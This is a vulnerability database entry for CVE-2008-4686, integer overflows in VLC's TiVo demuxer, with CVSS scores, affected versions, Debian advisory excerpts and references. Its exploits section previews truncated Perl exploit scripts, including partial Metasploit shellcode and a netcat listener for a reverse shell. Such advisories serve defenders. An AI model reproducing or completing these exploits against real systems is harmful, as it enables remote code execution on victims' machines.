Published: 22/10/2008 Updated: 07/11/2023

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 940

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Multiple integer overflows in ty.c in the TY demux plugin (aka the TiVo demuxer) in VideoLAN VLC media player, probably 0.9.4, might allow remote malicious users to execute arbitrary code via a crafted .ty file, a different vulnerability than CVE-2008-4654.

Vulnerable Product	Search on Vulmon	Subscribe to Product
videolan vlc media player 0.9.0
videolan vlc media player 0.9.4
videolan vlc media player 0.9.1
videolan vlc media player 0.9.2
videolan vlc media player 0.9.3

Debian Bug report logs - #503118 vlc: CVE-2008-4686 integer overflow in ty parsing Package: vlc-nox; Maintainer for vlc-nox is Debian Multimedia Maintainers <pkg-multimedia-maintainers@listsaliothdebianorg>; Source for vlc-nox is src:vlc (PTS, buildd, popcon) Reported by: Remi Denis-Courmont <rdenis@simphalempincom&gt ...

Debian Bug report logs - #502726 vlc: CVE-2008-4654 stack-based buffer overflow in ty parsing Package: vlc-nox; Maintainer for vlc-nox is Debian Multimedia Maintainers <pkg-multimedia-maintainers@listsaliothdebianorg>; Source for vlc-nox is src:vlc (PTS, buildd, popcon) Reported by: Remi Denis-Courmont <rdenis@simphale ...

Several vulnerabilities have been discovered in vlc, a multimedia player and streamer The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2008-1768 Drew Yao discovered that multiple integer overflows in the MP4 demuxer, Real demuxer and Cinepak codec can lead to the execution of arbitrary code CVE-2008-1769 Dr ...

#!/usr/bin/perl # 10/21/2008 k`sOSe use warnings; use strict; # windows/exec - 141 bytes # wwwmetasploitcom my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" "\xeb\xf4\x3b\x54\x24\x04\x75\xe ...

#!/usr/bin/perl # 10/23/2008 k`sOSe # Rewritten VLC 094 TY File Buffer Overflow Exploit # 1 - Works on Windows XP SP1, SP2, SP3 (and probably win2k) # 2 - Works both with a local file and with a remote url # 3 - VLC do not crash! # 4 - Enjoy a respawing shell, even if VLC will be closed! # # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [V ...

CWE-189 http://www.openwall.com/lists/oss-security/2008/10/19/2 http://www.openwall.com/lists/oss-security/2008/10/22/6 http://www.securityfocus.com/bid/31867 https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14630 http://git.videolan.org/?p=vlc.git%3Ba=commitdiff%3Bh=d859e6b9537af2d7326276f70de25a840f554dc3 https://nvd.nist.gov https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503118 https://www.exploit-db.com/exploits/6798/https://www.debian.org/security/./dsa-1819

CVE-2008-4686

Vulnerability Summary

Vendor Advisories

Exploits

References

Vulmon Search

About

Products

Connect